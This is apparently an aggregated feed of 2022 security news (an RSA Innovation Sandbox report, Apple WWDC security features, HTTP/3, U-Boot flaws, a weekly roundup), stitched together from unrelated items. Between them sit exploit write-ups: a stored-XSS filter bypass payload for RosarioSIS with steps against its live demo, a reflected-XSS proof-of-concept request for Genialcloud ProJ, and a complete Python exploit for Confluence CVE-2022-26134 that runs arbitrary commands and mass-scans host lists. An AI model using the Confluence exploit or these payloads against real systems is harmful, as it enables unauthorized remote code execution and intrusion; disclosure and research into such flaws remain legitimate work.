Spirits were high at the return of the in-person contest, which kicked off by bringing last year's virtual event winner on stage.

RSA CONFERENCE 2022 – San Francisco – At the Moscone Center on Monday, RSA Conference program committee chair Hugh Thompson's happiness was palpable. He told a cute story about his kids learning to hack during the COVID-19 lockdown and exulted in holding the Innovation Sandbox competition in person.

"You will not be able to walk out of this place today without being so excited about the kinds of innovation that are happening in security today," Thompson said.

At the in-person 2022 Innovation Sandbox, representatives from 10 cybersecurity startups made their case for having the most innovative technology in the sector. Each finalist had three minutes to pitch their tech to a panel of experienced judges. The judges were Dorit Dor, chief product officer of Check Point Software; Paul Kocher, independent researcher and founder of Cryptography Research (who Thompson called the "Simon Cowell of the judging panel"); Niloo Razi Howe, senior operating partner at Energy Impact Partners; Shlomo Kramer, co-founder and CEO of Cato Networks; and Christopher Young, executive VP of business development, strategy, and ventures at Microsoft.

Thompson brought Dor and Howe to the stage to discuss the judges' deliberations and announce the winner. He tried to gin up some good-natured drama by asking about altercations and pointing out the judges' lack of obvious injuries.

"There was a big dispute," Dor acknowledged, but Howe assured him, "We're not bloodied or bruised."

Both Howe and Dor had high praise for all 10 companies. "There are many good technologies out there, and it was not an easy selection," Dor said.

Added Howe: "There was conversation about every single company. The top 10 are really fantastic, solving really important problems."

First Thompson announced the top two: Talon Cyber Security and BastionZero. Ofer Ben Noon, co-founder and CEO of Talon, and Shannon Goldberg, CEO of BastionZero, shook hands with everyone. Goldberg even hugged Noon.

Dor called Talon's custom browser portal a "legit alternative that brings simplicity and manageability" for organizations with distributed workforces. Howe praised BastionZero for tackling the "really important problem of management of sessions connecting into the infrastructure."

But in the end, there could be only one winner — and it was Talon.

Here's how the presentations went down.

**The 10 Contestants**

The first contestant was Leonid Belkind, CTO of Torq, which Thompson described as "no-code automation for security teams." Belkind ran through his spiel in exactly three minutes "to the second," Thompson marveled.

The first judge question was from Kocher, who asked, "If someone isn't technical enough to write code, how are they going to understand what they're going to screw up with their automation?" Kramer asked about departments that don't want to collaborate with security teams, while Howe pointed out that in the crowded no-code sector, Torq would need to displace an existing contender.

Next up was Ben Noon, whose company's tagline is "solving security for hybrid work and unmanaged devices." He made a compelling case, saying, "Your browser is your front door," and it's been left open. The company built a secure corporate portal in Chromium with a user experience like Google Chrome and a backend that provides visibility and malware protection.

Then Sevco Security co-founder and CEO J.J. Guy presented for his company, "the starting point for all of your security activities." The company's tech aims to make a complete inventory of all devices connected to an organization to improve asset management.

The fourth contestant was Giora Engel, CEO and founder of Neosec, which is "reinventing API security by bringing XDR techniques and true behavioral analytics." His company addresses what he calls "the API blindspot" — B2B APIs, which are overlooked while people address B2C concerns.

Vladi Sandler represented Lightspin, which sells "graph-based cloud security built by and for cloud engineers." Refreshingly, the CEO mentioned 50% female representation on staff as a differentiating factor. Kocher tried to earn his Simon Cowell rep by saying, "So on Amazon's website I had to turn off One-Click ordering because I kept getting the wrong stuff. You claim on your website that in one click, you can remediate problems. Should I be scared by that?" Sandler rejoined that he trusts his team's skills, and Thompson gently ribbed Kocher about his Amazon problem afterward.

David McCaw co-founded Dasera, which is "helping cloud-first organizations operationalize data governance," according to its tagline. "We think DataGovOps is going to be the next revolution and finally solve the data challenges we've been facing for a long time," he asserted.

Cycode, which provides "complete software supply chain security," was represented by CEO and co-founder Lior Levy. Dor dropped a judge's question that brought laughs to the room: "How do you convince developers to fix their code?" Levy responded that his company helps developers implement bug fixes within their existing workflows and adds in automation "so they don't get frustrated."

"Bringing incident response into the cloud era" is Cado Security. CEO and co-founder James Campbell compared the manual process of investigating and responding to cloud incidents to the tedious procedure for creating a mix tape (Gen X represent).

"Is data collection happening before an attack or after an attack?" Kramer asked. "Is it part of the investigation, or is it part of the ongoing process?" The answer was that it depends on which services a customer uses.

Goldberg showed up to talk about her company BastionZero, which says it is "redefining zero trust for access to cloud infrastructure." Thompson asked Kocher, who co-created the SSL protocol, to ask a question. He obliged by asking whether organizations should use BastionZero or the strong encryption of a YubiKey to replace passwords.

Goldberg answered, "You should use us, for sure, absolutely," which again brought laughs, but she continued by saying that the separate authentication path could include things like YubiKeys.

Araali Networks, whose tagline was "surviving intrusions in cloud-native environments," closed out the contest with co-founder and CEO Abhishek Singh. The judges asked several technical questions about how the system handles various situations and configurations, which Singh handled ably.

"It works out of the box for Google, Amazon, and Azure," he assured Microsoft's Young. "Any system that works with Linux ... is ready to work with us."

**In-Person Do-Over for Apiiro**

    

Source: Screen-grab from RSA Conference

One of the most poignant moments came at the beginning of the show: Thompson brought up the winner of the 2021 Innovation Sandbox, which was held virtually, so that he could have his in-person moment of glory. Idan Plotnik, co-founder of Apiiro, shook Thompson's hand and told him his company had increased its revenue by 398% in the past year.

"Everything changed," Plotnik said.  

The 10 finalists, in alphabetical order, were:

1.  Araali Networks
2.  BastionZero
3.  Cado Security
4.  Cycode
5.  Dasera
6.  Lightspin
7.  Neosec
8.  Sevco Security
9.  Talon Cyber Security
10.  Torq

For more about each of these companies, read our contest preview.

Talon Grasps Victory at a Jubilant RSAC Innovation Sandbox

Cross-site Scripting (XSS) - Stored in GitHub repository francoisjacquet/rosariosis prior to 9.0.

**Description**

Website does incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This fix for this bug https://huntr.dev/bounties/dcf87c0b-6188-4817-8798-ef1e2581b15a/ can be bypassed using bellow payload

    jAvAsCrIpT:alert(origin)
    

**Steps to reproduce \[it works on Firefox (not in chromium based browsers)\]**

1.Go to https://www.rosariosis.org/demonstration/ and login with administrator account

2.Go to https://www.rosariosis.org/demonstration/Modules.php?modname=Resources/Resources.php

3.Create new link with content jAvAsCrIpT:alert(origin)

4.Click the link and observe a pop up

**Image POC**

https://drive.google.com/file/d/11F1mjqytYIgmMVtOEC4EbOHhvVi0pEPh/view?usp=sharing

https://drive.google.com/file/d/1dGPRWE6KRf2bfOezRblbWtHAwM1P29iL/view?usp=sharing

**Impact**

User clicking the link can be affected by malicious javascript code created by the attacker.

CVE-2022-1997: Bypass filter - Stored XSS in Resources  in rosariosis

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

The 2022 edition of Apple’s Worldwide Developers Conference (WWDC) kicked off this week, with numerous security and privacy developments placed front and center among the firm’s mobile and desktop platforms.

As has become tradition, this year’s WWDC offered a glimpse into Apple’s product and feature pipeline for the coming months.

On Monday (June 6), attendees were given a first look at the redesigned MacBook Air and the updated 13-inch MacBook Pro powered by the M2 chip, along with new features coming to iOS 16, iPadOS 16, macOS Ventura, and watchOS 9.

**What’s new in Safari?**

Apple’s Safari browser – which is now thought to have overtaken Chrome as the most popular mobile browser in North America – will soon include several security and privacy enhancements designed to help protect users and open up new opportunities for developers.

“With both of the new Cross Origin Opener Policy and Cross Origin Embedder Policy HTTP response headers, your site can opt in to process isolation, which means your site will run in its own dedicated webContent process,” said Kendall Bagley, software engineer on the Safari team.

**DON’T MISS** HTTP/3 evolves into RFC 9114 – a security advantage, but not without challenges

“Our second security enhancement also involves HTTP headers, with our improved support for Content Security Policy Level 3. CSP provides enhanced security control over your loading content and mitigates risk of cross-site scripting \[XSS\] and other vulnerabilities.”

Check out the Safari 16 beta release notes for more information.

WWDC22 attendees watch the unveiling of iOS 16

**Introducing Passkeys**

Garrett Davidson of Apple’s authentication experience team took to the virtual stage at WWDC22 to showcase Passkeys, the company’s “next-generation authentication technology”.

“Passwords are really hard to use securely,” Davidson explained. “All of us know we’re supposed to create strong, unique passwords for every account, but not many people actually do.”

He added: “As you’re designing your apps and websites, there’s this constant trade-off between keeping accounts secure and designing a good experience. And even if your apps and websites do everything right, issues like phishing and password reuse can still lead to account compromise.”

Read more of the latest Apple security news

To tackle this, Passkeys – which will come bundled with the upcoming macOS Ventura and iOS 16 – creates a unique, cryptographically strong key pair for user accounts and stores it in iCloud Keychain so it syncs and works across all devices.

Once the pairing has been created, any future visit to the app or website sign-in form will show the ‘Passkey’ option in the QuickType bar. The user simply needs to tap the option, or use Touch ID, and they are signed in.

Davidson said: “With Passkeys, not only is the user experience better than a password, but also entire categories of security problems, like weak and reused credentials, credential leaks, and phishing, are just not possible anymore. And they are so easy to use.”

Visit Apple’s technical documentation page for implementation information.

**Safety Check**

Also new for Apple devices this year is a new privacy tool called Safety Check, which aims to help users whose personal safety might be at risk from domestic or intimate partner violence.

Designed to allow users to quickly remove all device access that may have granted to others, Safety Check includes an emergency reset that helps users easily sign out of iCloud on all their other devices, reset privacy permissions, and limit messaging to just the device in their hand.

The service also helps users understand and manage which people and apps they’ve given access to.

**Replacing CAPTCHAs**

That’s not all from WWDC22, as two additional privacy and security tools are due to be showcased later this week.

On Wednesday (June 8), the Apple team will demonstrate Private Access Tokens. This new technology is being marketed as a “powerful alternative” to CAPTCHA challenges that help the identification of HTTP requests from legitimate devices without compromising users’ identity.

“We’ll show you how your app and server can take advantage of this tool to add confidence to your online transactions and preserve privacy,” Apple said.

**YOU MIGHT ALSO LIKE** Popular websites leaking user email data to web tracking domains

Lastly, June 10 will see Apple showcase the latest ways to ensure that DNS – the foundation of internet addressing – is secure within an application.

“Learn how to authenticate DNS responses in your app with DNSSEC and enable DNS encryption automatically with Discovery of Designated Resolvers (DDR),” Apple said in its presentation teaser this week.

WWDC22 continues through June 10. Check out the complete list of sessions for further information.

**READ MORE** Google showers top cloud security researchers with kudos and cash

WWDC 2022: Apple showcases next-gen security tech at annual developer event

Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.

    #!/usr/bin/python3# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection# Google Dork: N/A# Date: 06/006/2022# Exploit Author: h3v0x# Vendor Homepage: https://www.atlassian.com/# Software Link: https://www.atlassian.com/software/confluence/download-archives# Version: All < 7.4.17 versions before 7.18.1# Tested on: -# CVE : CVE-2022-26134# https://github.com/h3v0x/CVE-2022-26134import sysimport requestsimport optparseimport multiprocessingfrom requests.packages import urllib3from requests.exceptions import MissingSchema, InvalidURLurllib3.disable_warnings()requestEngine = multiprocessing.Manager()session = requests.Session()global paramResultsparamResults = requestEngine.list()globals().update(locals())def spiderXpl(url):    globals().update(locals())    if not url.startswith('http'):        url='http://'+url        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",               "Connection": "close",               "Accept-Encoding": "gzip, deflate"}    try:        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)        if(response.status_code == 302):            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])            inputBuffer = str(response.headers['X-Cmd-Response'])            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')        else:            pass    except requests.exceptions.ConnectionError:        print('[x] Failed to Connect: '+url)        pass    except multiprocessing.log_to_stderr:        pass    except KeyboardInterrupt:        print('[!] Stoping exploit...')        exit(0)    except (MissingSchema, InvalidURL):        pass        def banner():    print('[-] CVE-2022-26134')    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')    def main():    banner()        globals().update(locals())        sys.setrecursionlimit(100000)    if not optionsOpt.filehosts:        url = optionsOpt.url        spiderXpl(url)    else:        f = open(optionsOpt.filehosts)        urls = map(str.strip, f.readlines())        multiReq = multiprocessing.Pool(optionsOpt.threads_set)        try:            multiReq.map(spiderXpl, urls)            multiReq.close()            multiReq.join()        except UnboundLocalError:            pass        except KeyboardInterrupt:            exit(0)    if optionsOpt.output:        print("\n[!] Saving the output result in: %s" % optionsOpt.output)        with open(optionsOpt.output, "w") as f:            for result in paramResults:                f.write("%s\n" % result)        f.close()if __name__ == "__main__":    parser = optparse.OptionParser()    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')    optionsOpt, args = parser.parse_args()    main()

Confluence OGNL Injection Remote Code Execution

The backbone of the web has received a major upgrade

The backbone of the web has received a major upgrade

ANALYSIS The HTTP/3 protocol has received RFC 9114 standardization – a boost for internet security, but not one without hurdles for web developers.

This week, the Internet Engineering Task Force (IETF) released HTTP/3, published as RFC 9114.

The HTTP protocol is the backbone of the web. The Hypertext Transfer Protocol (HTTP) acts as an application layer for facilitating communication between servers and browsers, fetching resources, and transferring data. HTTPS is HTTP with additional security via encryption.

**BACKGROUND** HTTP/3: Everything you need to know about the next-generation web protocol

HTTP/3 is the latest revision of the HTTP protocol, taking over from 2015’s HTTP/2. HTTP/3 is designed to address some of the performance issues inherent in HTTP/2, improving the user experience, decreasing the impact of packet loss without head-of-line blocking, speeding up handshake requirements, and enabling encryption by default.

The protocol utilizes space congestion control over User Datagram Protocol (UDP).

**QUIC step**

One of the major differences in HTTP/3 is QUIC. Developed by Google, Quick UDP Internet Connections (QUIC) was adopted by the IETF, and a tailored version provides a cornerstone of HTTP/3.

As noted by Cloudflare, implementing QUIC sets up encrypted connections by default at the transport layer, combining handshakes into one action and encrypting the metadata exchanged between connections.

Read more of the latest secure development news

Packet numbers and header information is, therefore, removed from eavesdroppers and attackers. This improvement might potentially lower the success of manipulator-in-the-middle (MitM) attacks, IP spoofing, and denial-of-service assaults.

“This feature was not included in HTTP/2,” Cloudflare notes. “Encrypting this data helps keep actionable information about user behavior out of attackers’ hands.”

Encryption at the transport layer isn’t the end of the story. Akamai says that as HTTP/3 runs on QUIC, this also paves the way for future innovations in encrypted transport and communication – as we’ve already seen with the QUIC Datagram extension (RFC 9221), a technology to manage both UDP and TCP traffic securely.

Furthermore, the protocol supports zero round-trip time (0-RTT), introduced in TLS 1.3, which skips the handshake requirement in trusted settings – but a downside is that this could lead to replay attacks without adequate protection.

**‘Challenging prospect’**

Rustam Lalkaka, director of product at Cloudflare, previously told us that while HTTP/3 has a range of security and performance benefits, enabling QUIC can be a challenging prospect for developers as many widely-sed technologies are yet to add QUIC and HTTP/3 support.

Some transit providers and ISPs may be hostile to UDP traffic, and there may also be a need for increased CPU usage when HTTP/3 is implemented, a detriment to both servers and web browsers.

Support for HTTP/3 has been rolled out gradually across major browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge. Apple Safari also provides support, although at the time of writing, this must be enabled in the ‘Experimental Features’ tab in the developer menu.

Cloudflare scans have revealed that the majority of online traffic is facilitated by HTTP/2. The majority of current HTTP/3 requests are made by Chrome users, followed by Edge and Firefox. Safari volumes are minimal, but Cloudflare expects an uptick once Apple enables HTTP/3 support by default.

Cloudflare Radar estimates that 8% of internet traffic is HTTP/1-based, followed by HTTP/2 at 67%, and HTTP/3 at 25%.

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HTTP/3 evolves into RFC 9114 – a security advantage, but not without challenges

A reflected cross-site scripting (XSS) vulnerability in the login portal of Avantune Genialcloud ProJ - 10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

\# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting) # Date: 2022-06-01 # Exploit Author: Andrea Intilangelo # Vendor Homepage: https://www.avantune.com # Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com # Version: 10 # Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39) # CVE: CVE-2022-29296 Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject and execute arbitrary web scripts or HTML via a crafted payload. Request parameters affected is "msg". PoC Request: GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1 Host: \[REDACTED\] Cookie: ASP.NET\_SessionId=3recnmmlpo1glzzyejdoezk2 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Accept: \*/\* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Connection: close Cache-Control: max-age=0 PoC Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Wed, 11 May 2022 10:51:10 GMT Connection: close Content-Length: 8162 var Msg = 'Invalid username or password';alert("y0! XSS here :)")//'; ...\[SNIP\]... Timeline: 2022-01-05: Vulnerability discovered. 2022-01-06: Vendor contacted. 2022-02-07: No reply, vendor contacted for 2nd time. 2022-02-10: Request for CVE reservation. 2022-04-16: Assigned CVE number CVE-2022-29296. 2022-05-07: No reply, vendor contacted for 3rd time. 2022-06-01: Public disclosure. PoC Screenshots: https://imagebin.ca/v/6j86ekMqKZD8 https://postimg.cc/XXv6YbK9

CVE-2022-29296

A Denial of Service flaw was discovered in Elasticsearch. Using this vulnerability, an unauthenticated attacker could forcibly shut down an Elasticsearch node with a specifically formatted network request.

CVE-2022-23712: Security issues

Cybersecurity researchers have disclosed two unpatched security vulnerabilities in the open-source U-Boot boot loader.
The issues, which were uncovered in the IP defragmentation algorithm implemented in U-Boot by NCC Group, could be abused to achieve arbitrary out-of-bounds write and denial-of-service (DoS).
U-Boot is a boot loader used in Linux-based embedded systems such as ChromeOS as well as

Cybersecurity researchers have disclosed two unpatched security vulnerabilities in the open-source U-Boot boot loader.

The issues, which were uncovered in the IP defragmentation algorithm implemented in U-Boot by NCC Group, could be abused to achieve arbitrary out-of-bounds write and denial-of-service (DoS).

U-Boot is a boot loader used in Linux-based embedded systems such as ChromeOS as well as ebook readers such as Amazon Kindle and Kobo eReader.

The issues are summarized below -

*   **CVE-2022-30790** (CVSS score: 9.6) - Hole Descriptor overwrite in U-Boot IP packet defragmentation leads to an arbitrary out-of-bounds write primitive.
*   **CVE-2022-30552** (CVSS score: 7.1) - Large buffer overflow leads to DoS in U-Boot IP packet defragmentation code

It's worth noting that both the flaws are exploitable only from the local network. But doing so can enable an attacker to root the devices and lead to a DoS by crafting a malformed packet.

The shortcomings are expected to be addressed by U-boot maintainers in an upcoming patch, following which users are recommended to update to the latest version.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Unpatched Critical Flaws Disclosed in U-Boot Bootloader for Embedded Devices

Plus: The US admits to cyber operations supporting Ukraine, SCOTUS investigates its own, and a Michael Flynn surveillance mystery is solved.

Not to freak out anyone, but there's a serious flaw in all supported versions of Microsoft Windows that allows attackers to take over your machine. The so-called Follina vulnerability can be exploited using a weaponized Word document, and security researchers say they've already spotted government-backed hackers using this attack in the wild. Fingers crossed that Microsoft, which has downplayed the severity of the flaw, issues a patch soon.

Speaking of patches, everything from Apple's iOS and Google Android to Chrome, Firefox, and Zoom received major security updates in May. Check out our complete list of available updates to see which apps you need to attend to as soon as possible.

We also explored the race to protect your voice from hackers and corporate greed. And we tried to unravel the mystery of China's sudden warnings about US state-sponsored hackers going after Chinese systems, despite the fact that these hacks are well known and happened ages ago.

Meanwhile, in India, the country's telecom regulator is preparing to crack down on robocall spam and scammers by requiring callers' names to appear on caller ID. The idea sounds good—until you realize the privacy implications and the fact that such a plan might not even work.

Finally, because nothing's sacred, Canada's privacy commissioner this week announced that a mobile app for Tim Hortons, the beloved coffee chain, illegally spied on its users' locations. The app, which used location-tracking tech from US-based firm Radar, collected a constant stream of users' location data—checking as frequently as every 2.5 minutes—and would create an “event” anytime a user “entered or left” their home, office, major sports complex, or rival coffee shop, according to the commissioner's office.

But that's not all, folks. Each week, we round up the big security and privacy news we didn't cover ourselves. Click the links for the full stories, and stay safe out there. 

If you lived in Illinois between May 1, 2015, and April 25, 2022, Google may owe you some cash. The company recently settled a class-action lawsuit over a feature in the Google Photos app that categorized photos of people based on their faces. The problem? According to the lawsuit, Google failed to receive consent to do so from millions of users, a violation of the state's Biometric Information Privacy Act. Google did not admit fault as part of the settlement, but it has agreed to pay $100 million and put in place measures to avoid further privacy violations. If you were an Illinois resident during that seven-year period and appeared in a photo uploaded to the Google Photos app, you can file a claim for your piece of the $100 million pie.

The blurry line between “at war” and “not at war” grew even fuzzier this week. General Paul Nakasone, the head of US Cyber Command and the NSA, told Sky News that the US military has conducted “a series of operations across the full spectrum," including “offensive, defensive, and information operations” in support of Ukraine's defense against Russia's invasion. Nakasone declined to detail what these operations entailed but assured that they were perfectly legal. The general's admission coincides with the US agreeing to provide Ukraine with advanced missile systems with a range of 50 miles. The Kremlin responded to this news by saying the US was “pouring fuel on the fire.”

As part of the US Supreme Court's investigation into the leak of a draft opinion overturning guaranteed abortion rights in the United States, the Court's clerks have been asked to turn over their private phone records and sign an affidavit, according to CNN. The “unprecedented” move is jarring for civil liberties advocates. As Albert Fox Cahn, found of the Surveillance Technology Oversight Project, writes for WIRED: “The intrusive probe reveals a disturbing about-face from the Supreme Court, and particularly Chief Justice John Roberts, on surveillance powers.” The clerks, meanwhile, are reportedly hesitant to refuse the demand for phone records or seek legal counsel for fear of being wrongly suspected of leaking the draft opinion to _Politico_ reporters.

A Trump-era conspiracy theory can finally be put to rest—theoretically, at least. A 52-page classified report into the “unmasking” of Michael Flynn, a former US national security adviser to Donald Trump, has now been made public thanks to a Freedom of Information Act request filed by Jason Leopold of Buzzfeed News. Republicans have long accused Obama administration operatives of revealing Flynn's name in classified material for political purposes in the lead-up to the 2016 election. But the Justice Department report, prepared by former US Attorney John Brash, found “no evidence that unmasking requests were made for political purposes or other inappropriate reasons during the 2016 election period or the ensuing transition period." Flynn ultimately resigned in 2017 for misleading vice president Mike Pence about Flynn’s calls with Russia's ambassador to the US.

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#chrome